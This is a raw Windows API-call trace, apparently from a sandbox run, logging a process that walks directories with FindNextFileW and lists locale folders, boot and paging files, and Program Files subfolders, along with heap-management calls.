	[0179.286] FindNextFileW (in: hFindFile=0x3cf0da8, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x440, dwReserved1=0xffffbe4e, cFileName="hr-HR", cAlternateFileName="")) returned 1
	[0179.286] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4280050 | out: hHeap=0x6a0000) returned 1
	[0179.286] FindNextFileW (in: hFindFile=0x3cf0da8, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010c5ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5c171b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x440, dwReserved1=0xffffbe4e, cFileName="hu-HU", cAlternateFileName="")) returned 1
	[0179.286] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4280050 | out: hHeap=0x6a0000) returned 1
	[0179.286] FindNextFileW (in: hFindFile=0x3cf0da8, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010ccad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5d8ab4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x440, dwReserved1=0xffffbe4e, cFileName="it-IT", cAlternateFileName="")) returned 1
	[0179.287] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4280050 | out: hHeap=0x6a0000) returned 1
	[0179.287] FindNextFileW (in: hFindFile=0x3cf0da8, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010d0c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ed6c6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x440, dwReserved1=0xffffbe4e, cFileName="ja-JP", cAlternateFileName="")) returned 1
	[0179.287] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4280050 | out: hHeap=0x6a0000) returned 1
	[0179.287] FindNextFileW (in: hFindFile=0x3cf0da8, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef5fc210, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x440, dwReserved1=0xffffbe4e, cFileName="ko-KR", cAlternateFileName="")) returned 1
	[0179.288] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4280050 | out: hHeap=0x6a0000) returned 1
	[0179.288] FindNextFileW (in: hFindFile=0x3cf0da8, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x440, dwReserved1=0xffffbe4e, cFileName="lt-LT", cAlternateFileName="")) returned 1
	[0179.288] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4280050 | out: hHeap=0x6a0000) returned 1
	[0179.288] FindNextFileW (in: hFindFile=0x3cf0da8, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x440, dwReserved1=0xffffbe4e, cFileName="lv-LV", cAlternateFileName="")) returned 1
	[0179.288] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4280050 | out: hHeap=0x6a0000) returned 1
	[0179.288] FindNextFileW (in: hFindFile=0x3cf0da8, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6196d8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfbcf473f, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0xc63a0, dwReserved0=0x440, dwReserved1=0xffffbe4e, cFileName="memtest.exe", cAlternateFileName="")) returned 1
	[0179.289] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4280050 | out: hHeap=0x6a0000) returned 1
	[0179.289] FindNextFileW (in: hFindFile=0x3cf0da8, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e4fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6407cf, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x440, dwReserved1=0xffffbe4e, cFileName="nl-NL", cAlternateFileName="")) returned 1
	[0179.289] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4280050 | out: hHeap=0x6a0000) returned 1
	[0179.289] FindNextFileW (in: hFindFile=0x3cf0da8, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef65403a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x440, dwReserved1=0xffffbe4e, cFileName="pl-PL", cAlternateFileName="")) returned 1
	[0179.289] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4280050 | out: hHeap=0x6a0000) returned 1
	[0179.290] FindNextFileW (in: hFindFile=0x3cf0da8, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6678d6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6678d6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x440, dwReserved1=0xffffbe4e, cFileName="pt-BR", cAlternateFileName="")) returned 1
	[0179.290] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4280050 | out: hHeap=0x6a0000) returned 1
	[0179.290] FindNextFileW (in: hFindFile=0x3cf0da8, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f167, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6714dc, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x440, dwReserved1=0xffffbe4e, cFileName="pt-PT", cAlternateFileName="")) returned 1
	[0179.290] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4280050 | out: hHeap=0x6a0000) returned 1
	[0179.290] FindNextFileW (in: hFindFile=0x3cf0da8, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f640, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef684d85, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x440, dwReserved1=0xffffbe4e, cFileName="qps-ploc", cAlternateFileName="")) returned 1
	[0179.291] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4280050 | out: hHeap=0x6a0000) returned 1
	[0179.291] FindNextFileW (in: hFindFile=0x3cf0da8, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ab61e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9abff9, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x440, dwReserved1=0xffffbe4e, cFileName="Resources", cAlternateFileName="RESOUR~1")) returned 1
	[0179.292] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4292060 | out: hHeap=0x6a0000) returned 1
	[0179.292] FindNextFileW (in: hFindFile=0x3cf09e8, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ac01e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9baa67, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe240, dwReserved1=0x241, cFileName="en-US", cAlternateFileName="")) returned 0
	[0179.292] FindClose (in: hFindFile=0x3cf09e8 | out: hFindFile=0x3cf09e8) returned 1
	[0179.292] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4280050 | out: hHeap=0x6a0000) returned 1
	[0179.293] FindNextFileW (in: hFindFile=0x3cf0da8, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x440, dwReserved1=0xffffbe4e, cFileName="ro-RO", cAlternateFileName="")) returned 1
	[0179.293] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4280050 | out: hHeap=0x6a0000) returned 1
	[0179.293] FindNextFileW (in: hFindFile=0x3cf0da8, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef698608, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x440, dwReserved1=0xffffbe4e, cFileName="ru-RU", cAlternateFileName="")) returned 1
	[0179.293] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4280050 | out: hHeap=0x6a0000) returned 1
	[0179.293] FindNextFileW (in: hFindFile=0x3cf0da8, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x440, dwReserved1=0xffffbe4e, cFileName="sk-SK", cAlternateFileName="")) returned 1
	[0179.294] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4280050 | out: hHeap=0x6a0000) returned 1
	[0179.294] FindNextFileW (in: hFindFile=0x3cf0da8, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x440, dwReserved1=0xffffbe4e, cFileName="sl-SI", cAlternateFileName="")) returned 1
	[0179.294] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4280050 | out: hHeap=0x6a0000) returned 1
	[0179.294] FindNextFileW (in: hFindFile=0x3cf0da8, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0x5168548b, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x440, dwReserved1=0xffffbe4e, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1
	[0179.294] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4280050 | out: hHeap=0x6a0000) returned 1
	[0179.295] FindNextFileW (in: hFindFile=0x3cf0da8, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x440, dwReserved1=0xffffbe4e, cFileName="sr-Latn-RS", cAlternateFileName="SR-LAT~2")) returned 1
	[0179.295] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4280050 | out: hHeap=0x6a0000) returned 1
	[0179.295] FindNextFileW (in: hFindFile=0x3cf0da8, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01adf43, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6a2250, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x440, dwReserved1=0xffffbe4e, cFileName="sv-SE", cAlternateFileName="")) returned 1
	[0179.295] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4280050 | out: hHeap=0x6a0000) returned 1
	[0179.295] FindNextFileW (in: hFindFile=0x3cf0da8, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206504, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6b5aca, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x440, dwReserved1=0xffffbe4e, cFileName="tr-TR", cAlternateFileName="")) returned 1
	[0179.296] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4280050 | out: hHeap=0x6a0000) returned 1
	[0179.296] FindNextFileW (in: hFindFile=0x3cf0da8, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206a30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x440, dwReserved1=0xffffbe4e, cFileName="uk-UA", cAlternateFileName="")) returned 1
	[0179.296] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4280050 | out: hHeap=0x6a0000) returned 1
	[0179.296] FindNextFileW (in: hFindFile=0x3cf0da8, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef6c9427, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0xef6c9427, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x1236, dwReserved0=0x440, dwReserved1=0xffffbe4e, cFileName="updaterevokesipolicy.p7b", cAlternateFileName="UPDATE~1.P7B")) returned 1
	[0179.296] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4280050 | out: hHeap=0x6a0000) returned 1
	[0179.296] FindNextFileW (in: hFindFile=0x3cf0da8, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207675, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x518ea25e, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x440, dwReserved1=0xffffbe4e, cFileName="zh-HK", cAlternateFileName="")) returned 1
	[0179.297] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4280050 | out: hHeap=0x6a0000) returned 1
	[0179.297] FindNextFileW (in: hFindFile=0x3cf0da8, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6e6901, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x440, dwReserved1=0xffffbe4e, cFileName="zh-TW", cAlternateFileName="")) returned 1
	[0179.297] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4280050 | out: hHeap=0x6a0000) returned 1
	[0179.297] FindNextFileW (in: hFindFile=0x3cf0da8, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6e6901, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x440, dwReserved1=0xffffbe4e, cFileName="zh-TW", cAlternateFileName="")) returned 0
	[0179.297] FindClose (in: hFindFile=0x3cf0da8 | out: hFindFile=0x3cf0da8) returned 1
	[0179.297] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4270048 | out: hHeap=0x6a0000) returned 1
	[0179.298] FindNextFileW (in: hFindFile=0x6ba600, lpFindFileData=0x38dfcf8 | out: lpFindFileData=0x38dfcf8*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xe47a48a8, ftCreationTime.dwHighDateTime=0x1d112ea, ftLastAccessTime.dwLowDateTime=0xef6fa258, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfb90936b, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0x607da, dwReserved0=0x775f0000, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1
	[0179.299] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4292060 | out: hHeap=0x6a0000) returned 1
	[0179.299] FindNextFileW (in: hFindFile=0x6ba600, lpFindFileData=0x38dfcf8 | out: lpFindFileData=0x38dfcf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2b2eaf, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xc1969407, ftLastAccessTime.dwHighDateTime=0x1d327d0, ftLastWriteTime.dwLowDateTime=0xc1969407, ftLastWriteTime.dwHighDateTime=0x1d327d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ESD", cAlternateFileName="")) returned 1
	[0179.300] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4292060 | out: hHeap=0x6a0000) returned 1
	[0179.300] FindNextFileW (in: hFindFile=0x6ba600, lpFindFileData=0x38dfcf8 | out: lpFindFileData=0x38dfcf8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x7ef2dddf, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x7ef2dddf, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x1060a9c8, ftLastWriteTime.dwHighDateTime=0x1d50842, nFileSizeHigh=0x0, nFileSizeLow=0x332fe000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1
	[0179.310] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4292060 | out: hHeap=0x6a0000) returned 1
	[0179.310] FindNextFileW (in: hFindFile=0x6ba600, lpFindFileData=0x38dfcf8 | out: lpFindFileData=0x38dfcf8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6e97b025, ftCreationTime.dwHighDateTime=0x1d3275c, ftLastAccessTime.dwLowDateTime=0x6e97b025, ftLastAccessTime.dwHighDateTime=0x1d3275c, ftLastWriteTime.dwLowDateTime=0x11c55633, ftLastWriteTime.dwHighDateTime=0x1d50842, nFileSizeHigh=0x0, nFileSizeLow=0x28000000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1
	[0179.311] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4292060 | out: hHeap=0x6a0000) returned 1
	[0179.311] FindNextFileW (in: hFindFile=0x6ba600, lpFindFileData=0x38dfcf8 | out: lpFindFileData=0x38dfcf8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x9bbbed4f, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x9bbbed4f, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1
	[0179.315] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4280050 | out: hHeap=0x6a0000) returned 1
	[0179.315] FindNextFileW (in: hFindFile=0x3cf0de8, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa04663f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4accd6e1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffc1ed, dwReserved1=0x1ef, cFileName="microsoft shared", cAlternateFileName="MICROS~1")) returned 1
	[0179.319] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42a3070 | out: hHeap=0x6a0000) returned 1
	[0179.319] FindNextFileW (in: hFindFile=0x3cf0ae8, lpFindFileData=0x38df584 | out: lpFindFileData=0x38df584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb3e1c92c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb3e1c92c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x23f, dwReserved1=0xffffe240, cFileName="ink", cAlternateFileName="")) returned 1
	[0179.319] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42b4080 | out: hHeap=0x6a0000) returned 1
	[0179.319] FindNextFileW (in: hFindFile=0x3cf0968, lpFindFileData=0x38df308 | out: lpFindFileData=0x38df308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0553f37, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffec5e, dwReserved1=0x40, cFileName="bg-BG", cAlternateFileName="")) returned 1
	[0179.320] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42b4080 | out: hHeap=0x6a0000) returned 1
	[0179.320] FindNextFileW (in: hFindFile=0x3cf0968, lpFindFileData=0x38df308 | out: lpFindFileData=0x38df308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe46546cb, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe46546cb, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x69a5, dwReserved0=0xffffec5e, dwReserved1=0x40, cFileName="Content.xml", cAlternateFileName="")) returned 1
	[0179.320] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6fc1b0, Size=0x4000) returned 0x3cf50d8
	[0179.321] FindNextFileW (in: hFindFile=0x3cf09a8, lpFindFileData=0x38df08c | out: lpFindFileData=0x38df08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e316e09, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e316e09, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e316e09, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x1eb, dwReserved1=0xffffee0b, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0
	[0179.321] FindClose (in: hFindFile=0x3cf09a8 | out: hFindFile=0x3cf09a8) returned 1
	[0179.321] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42b4080 | out: hHeap=0x6a0000) returned 1
